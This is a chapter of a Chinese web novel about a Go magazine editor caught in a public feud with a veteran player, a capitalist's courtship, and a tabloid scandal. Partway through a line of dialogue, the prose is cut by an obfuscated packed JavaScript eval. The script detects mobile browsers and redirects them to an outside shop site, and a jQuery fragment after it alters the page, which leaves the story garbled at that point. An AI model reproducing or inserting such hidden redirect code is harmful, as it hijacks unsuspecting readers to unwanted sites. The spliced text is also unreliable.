窗外的城市灯火依旧璀璨,这本不起眼的、薄薄的杂志,似乎比想象中更沉。
下午,《弈林》杂志社。
严争玉坐在陈旧的办公桌前,窗外的天光灰白。
鼠标滚轮向下滑动,屏幕上是围棋专业论坛“弈海听涛”今日最热的置顶帖。
发帖人ID后面跟着一个醒目的金色认证标识:陆守拙。
标题只有四个字,加粗,鲜红:【正本清源】。
帖子很长。
陆守拙罕见地以严厉的口吻开火,直指《弈林》的最新一期,那篇分析他二十年前名局的文章。
他先是逐条驳斥文中指出的几处“可优化点”,引经据典,证明自己当年的选择,在当时的棋理和实战背景下,完全正确,甚至精妙。
接着,笔锋陡然一转。
“...近年棋坛,偶有年轻棋手,仗着几分小聪明,学了些似是而非的古谱皮毛,便敢对前辈心血妄加指摘,断章取义,哗众取宠。
“更有甚者,借媒体平台,行攻讦之实,误导后学,其心可诛!
“棋道传承,首重尊师,次重厚德。
“无尊无德,纵有几分棋力,也不过是无根浮萍,终难成大器。
“望后来者明辨是非,勿被虚名所惑,踏实钻研,方是正道。”
最后一段,几乎是指着鼻子骂了。
“至于某些凭借非常规手段迅速攫取名望之人,更应反躬自省。
“棋手的尊严在棋盘上,不在炒作中。
“靠旁门左道、他人荫蔽得来的关注,终究是镜花水月。
“老夫奉劝一句:悬崖勒马,为时未晚。”
......
帖子发布于两小时前,已经盖了上千楼回复。
支持陆守拙的棋手、评论员、资深棋迷纷纷跟帖,言辞激烈。
“陆老说得对!现在有些年轻人,赢了几个比赛就不知道自己姓什么了,连前辈的棋都敢挑刺?”
“《弈林》现在是谁在主事?怎么登这种文章?为了销量脸都不要了?”
“呵呵,人家现在可是有靠山的,说话当然硬气。就是不知道这棋评,有几分是自己写的?”
......
也有不少反驳的声音,大多来自年轻棋手或独立棋评人。
“讨论棋局技术问题,怎么就上升到人品了?陆老这反应是不是有点过激?”
“那篇文章我看了,分析得很客观啊,就是纯粹的技术探讨。陆老当年的‘镇头’现在看确实有点缓,AI胜率掉了五个点。”
“笑死,现在连棋都不能客观评论了?只能说好,不能说改进空间?围棋是宗教吗?”
......
两派吵得不可开交,话题迅速从棋局本身扩散到辈分、权威、话语权,甚至隐约牵扯到严争玉与贺其年的关系。
几个营销号闻风而动,截取帖子里的只言片语,配上耸动的标题,在社交媒体上扩散。
“棋坛宿老陆守拙九段怒斥新锐棋手严争玉:无尊无德,借势炒作!”
“论战升级!严争玉棋评触怒权威,背后是否另有隐情?”
......
苏晚棠冲进办公室,手里抱着一摞刚打印出来的资料,
“争玉!你看论坛了吗?还有,刚接到发行方的电话,说这期杂志...
“退货量有点大,很多报亭书店嫌太硬,不好卖。”
严争玉拿过最上面的一张资料,是她要的本周销量统计折线图。
在文章发布引起热议后,销量有个短暂的上扬,随即掉头向下,比上周同期还低了十几个点。
别说论坛了,内部的质疑声她也听了不少,几个老编辑这两天看她眼神都一言难尽。
“看到了。退货就退货。下一期的稿子照常准备,吴老的专栏催一下。
“另外,联系几位在论坛上发声支持客观讨论的独立棋评人,问问他们有没有兴趣供稿。”
“可是...”
苏晚棠把资料放在桌上,一脸担忧:
“陆老那边话说得这么重,我们是不是...稍微回应一下?哪怕解释一句,只是纯技术讨论?”
“解释什么?解释我没有‘借势炒作’,还是解释我那篇文章每一个字都是自己写的?”
严争玉扯了一下嘴角,没什么笑意,
“他要把技术问题扯到别处,我接招,才是真的输了。”
她关掉论坛页面,打开文档,敲下新一期的选题规划。
“战场是他们选的,但仗怎么打,我说了算。”
......
接下来的几天,这场论战以惊人的速度蔓延。
几家传统围棋媒体转载了陆守拙的帖子,并配发评论文章,基调多是维护权威,强调传承秩序。
而网络平台、新兴的自媒体棋评号,则更多站在严争玉一边,认为学术讨论不应设限,围棋需要新鲜空气。
《弈林》杂志社的编辑部电话成了热线,有骂的,有支持的,还有来打探消息的...
奇怪的是,原本下滑的销量,在争议发酵到第三天,竟然奇迹般地逆势回升。
先是几家大型网上书店的库存被清空,要求加印。
接着是线下一些原本退货的书店,试探性地询问能不能进货,但很快又售罄。
张广白拿着最新的销售数据走进来时,激动得手都在颤抖。
“严、严社长,数据...数据上来了!比我们预估的最好情况还高了百分之三十!很多读者留言说,就想看看我们下一期还敢登什么。”
严争玉接过报表,扫了一眼便递回去。
意料之外,情理之中。
人们或许不爱看深奥的棋评,但一定爱看热闹,尤其是涉及权威与挑战、旧势与新锐的热闹。
这本被她寄予厚望的专业杂志,正被这股巨大的争议流量裹挟着,冲到了舆论的正中心。
......
傍晚,她最后一个离开杂志社。
锁门时,手机响了。
是个陌生号码,归属地显示本市。
她接起。
“严小姐,别来无恙。”
电话那头传来周慕远带笑的声音,背景隐约传来古典音乐的旋律。
“这几天的热闹,我可是从头看到尾。精彩,真是精彩。”
严争玉握着手机,没有回应,沿着昏暗的走廊走向电梯。
周慕远不紧不慢地说:
“陆老这次是动了真火。不过,危机危机,危险里也藏着机会。
“你现在是焦点,但单靠一本杂志和这点争议,热度很快会过去。
“想不想让这把火烧得更旺些,烧出一个真正属于你的时代?”
电梯门开了,严争玉走进去,按下楼层。
“周先生有何高见?”
“很简单。我手里有资源,可以联动几家主流体育媒体和网络平台,为你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622367|201938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
打造一个系列专题,就叫‘挑战者的声音’,或者更刺激点的,‘棋坛破壁人’。
“深度访谈,纪录片跟拍,线上线下联动推广。
“把你和陆守拙的这次论战,包装成一个新旧观念碰撞的经典案例,把你推成敢于质疑权威、锐意创新的棋手代表。”
背景音里,柔缓的古典乐正在变得激昂,配合上周慕远蛊惑的声线:
“流量,声望,商业价值...都会跟着来。
“比你守着一个小杂志社,一篇篇写棋评,钱来的快得多,也有效得多。”
电梯缓缓下降,金属内壁上,严争玉的脸上没什么表情。
“条件呢?”她问。
周慕远轻笑,
“条件嘛,对严小姐来说很简单。
“不过是《弈林》杂志社未来的商业合作优先权,包括但不限于广告、品牌联名、衍生内容开发。
“另外,我希望成为你个人商业事务的独家顾问。
“放心,不会干涉你的棋艺,只帮你把名望,最大限度地‘变现’。”
电梯到达一楼,门开了。
严争玉走出大厦,外面华灯初上,车流如织。
“听起来,周先生是想把我,和这本杂志,都变成你资本棋盘上的棋子。”
“互惠互利而已。”周慕远纠正。
“你有影响力,我有放大影响力的渠道和手段。这个时代,酒香也怕巷子深。
“没有资本护航,你这点声音,很快会被淹没在更大的噪音里。陆守拙那边,可不会就此罢休。
“有了我的资源,你至少不必担心舆论上再吃亏。”
严争玉走在人行道边缘,夜风吹起她颊边的碎发。
她想起贺其年把杂志社交给她时,说的那句话:
“它是你的武器,也是你的盾牌。”
武器,不该是用来待价而沽的。
“谢谢周先生的好意。《弈林》只会登它认为该登的文章,我也只会下我认为对的棋。”
说完,她便挂断电话。
......
手机在床头柜上震动第三遍时,严争玉才从浅眠中睁开眼睛。
窗外天色刚蒙蒙亮,灰白的光线透过窗帘缝隙,切割着昏暗的房间。
她伸手够过手机,划开解锁,刺目的白光让她的眼睛眯了眯。
才看清楚响的不是闹钟,是苏晚棠的来电,还有十几条未读消息。
她坐起身,接通电话。
电话那头,苏晚棠的声音压得很低,隐约带着哭腔:
“争玉!你看新闻了吗?不,你先别看了!今天别出门,棋院这边...记者把门口堵了。”
严争玉的睡意瞬间消散了大半。
她掀开被子,赤脚走到窗边,撩开窗帘一角。
公寓楼下空荡荡的,清晨的街道还没完全苏醒。
但在远处路口,似乎有几点移动的人影和车灯。
“什么新闻?”
苏晚棠沉默了两秒,
“《星闻周刊》凌晨发的长篇特别报道,里面说你跟贺先生是协议结婚,为了钱还有资源。
“还说...还说你们以前的关系不正常,有...有虐待倾向。”
最后几个字她说得艰难。
“他们不知道从哪里弄来了病房的监控截图,还有一份合同的偷拍照,上面有你和贺先生的签名,条款写得很...难听。”
......